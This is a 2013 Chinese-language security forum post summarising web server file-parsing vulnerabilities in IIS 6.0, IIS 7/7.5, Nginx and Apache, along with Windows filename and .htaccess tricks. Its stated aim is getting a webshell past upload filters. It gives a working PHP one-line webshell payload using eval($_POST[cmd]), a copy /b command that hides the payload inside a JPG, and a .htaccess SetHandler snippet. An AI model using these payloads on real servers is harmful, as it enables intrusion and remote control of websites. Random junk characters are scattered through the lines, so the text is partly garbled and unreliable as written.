找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2544|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Author : laterain
6 ~9 v' Z9 Z/ w: Y/ v% u[+]IIS6.08 u3 d; ?4 ^& z% X" {0 }9 J# m
7 F8 h+ w% Q# B9 v% a
目录解析:/xx.asp/xx.jpg 6 O3 Y7 T( S/ D8 c
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
/ N! k8 F* R1 y IIS6.0 会将 xx.jpg 解析为 asp 文件。4 t, d. i0 |* j5 m4 ~6 G2 c
后缀解析:/xx.asp;.jpg     
" b' V+ l+ v0 [( I' b& k( n( i# S IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
6 _: V8 r: S9 X- j/ g3 q( ?默认解析:/xx.asa
  W  M0 p; X$ m         /xx.cer
7 E: c8 d2 X( h! ~$ k6 ^         /xx.cdx
6 t; K; g8 q  l4 _: e; N IIS6.0 默认的可执行文件除了 asp 还包含这三种( V; f" Z( X6 Z) A. J6 f8 O
此处可联系利用目录解析漏洞 9 N# T" @1 F. \& l
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg" A4 {3 o# n1 Y! r& M7 a6 M6 y) \
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
) s# z5 M' R1 K
: C$ I7 o9 l/ S( G2 x1 y IIS 7.0/IIS 7.5/Nginx <0.8.03
2 t0 i! }, I( i+ p9 Y1 ] 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
% _# }( x* A) u; J, u 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
: V' F* _' }% F) y) O) ~9 M8 o 常用利用方法:
" T5 m$ T* ]) |, u8 j1 b 将一张图和一个写入后门代码的文本文件合并将恶意文本3 `# H7 y3 p+ X% ^6 O
写入图片的二进制代码之后,避免破坏图片文件头和尾5 h: g0 Z1 k; x5 o+ y' A
如:
* U2 Z+ C1 h) q% v$ Q copy xx.jpg /b + yy.txt/a xy.jpg4 d* E# Q! m" ~  V1 b5 D2 f6 G7 ^
#########################################################9 t+ B) z  v# H1 x* |
/b 即二进制[binary]模式
/ S$ x" p) L$ t /a 即ascii模式
% ^: Z/ d9 I5 i6 b' { xx.jpg 正常图片文件
! w$ c* Z& F, `& a  D) |' c yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),9 S% u- [4 F# w
'<?php eval($_POST[cmd])?>');?>+ g; g1 [) S  D4 ?( Y; L- H
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
8 Z, h6 |  D+ J  \! j0 [7 @) k 为shell.php的文件
3 Y3 O& ~3 _: ]9 `" c% i ###########################################################
# V" M7 w, s. W 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ( H2 [& h8 o" n5 M
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
% q1 |( q! ]7 y, y 密码 cmd8 Z5 A5 R2 N; L% h* }
[+]Nginx <0.8.03' `8 U3 Y+ T4 Y' E; j
+ h: d7 ?) I! W9 ?9 |
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞( h2 q6 C8 x* S+ U' d; L# S. P, l
在一个文件路径(/xx.jpg)后面加上%00.php# \) D% a0 l  A5 G+ h! x
会将 /xx.jpg%00.php 解析为 php 文件。2 O# {7 y8 S3 a* Q
[+]Apache<0.8.03* J# e2 @$ r) r  C
) P) Z' m3 v/ y0 N1 R, v2 o( u7 e' U" A
后缀解析:test.php.x1.x2.x3
; y- `1 V$ T. \* K* { Apache将从右至左开始判断后缀,若x3非可识别后缀,
0 D7 E1 k+ |- t% h6 w- D9 G6 y" E0 j 再判断x2,直到找到可识别后缀为止,然后将该可识别# Y6 b' u& {5 {8 p) b  F3 o
后缀进解析test.php.x1.x2.x3 则会被解析为php5 U% x9 ?+ i7 y) X1 |3 i
经验之谈:php|php3|phtml 多可被Apache解析。
& D" ^+ x# o, M: Z+ E. F! b[+]其他一些可利用的
+ Y9 ]. u! P8 @3 k % u8 Y8 V8 G/ n, P6 N4 d6 p9 W
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的6 B) g( j+ R9 p7 H+ J7 [) Y$ R
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
% m; k; o$ B! j在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
. d4 A% J! a: ^或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
. J5 a$ Y4 b" i3 y" Q  m4 ?7 Q得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。5 Q/ O6 u$ C, o  l1 I3 k8 B
{Linux主机中不行,Linux允许这类文件存在}
6 E4 W! P3 N+ x# D4 _如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
, G# w6 @- C0 t8 ~6 z+ \的,当初我并不知道),且可以被上传,那可以尝试在4 ?) O& G! x' `5 ~* o
.htaccess中写入:
, m: F. s3 e& m6 g8 U, `: k1 @<FilesMatch “shell.jpg”>
- A  W! X( \% RSetHandler application/x-httpd-php & Z4 r/ y8 p7 S4 w  X, |7 N
</FilesMatch>
( K) z; `, x5 a+ R8 l! T( U( y- N6 Lshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
8 D5 ?2 E- j  a! x# C/ ~: l& o, c[+]错误修改8 ~0 w, h% U2 I# `1 B9 x$ J

! T4 p! D/ J9 T9 F1 q) A4 E2 O在 IIS 6.0 下可解析 /xx.asp:.jpg/ {4 L% h5 S" _6 ?
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
* W! p5 A+ @& R# n4 C' w4 a! e剩下/xx.asp}修改:. `) _) \: V! p9 v( F7 U
先谢谢核攻击的提醒- H* F3 [) K" m- o  h
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp. B! i, i  r5 _% ^
里是没有任何内容的,因为。。不好解释 大家自己看+ n1 v2 _- k  x" s8 C
http://lcx.cc/?i=2448- P, o! e- n* Z0 |, |
http://baike.baidu.com/view/3619593.htm( S. h$ Y: j4 r0 }
% F( |5 h! E8 d/ J0 w1 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表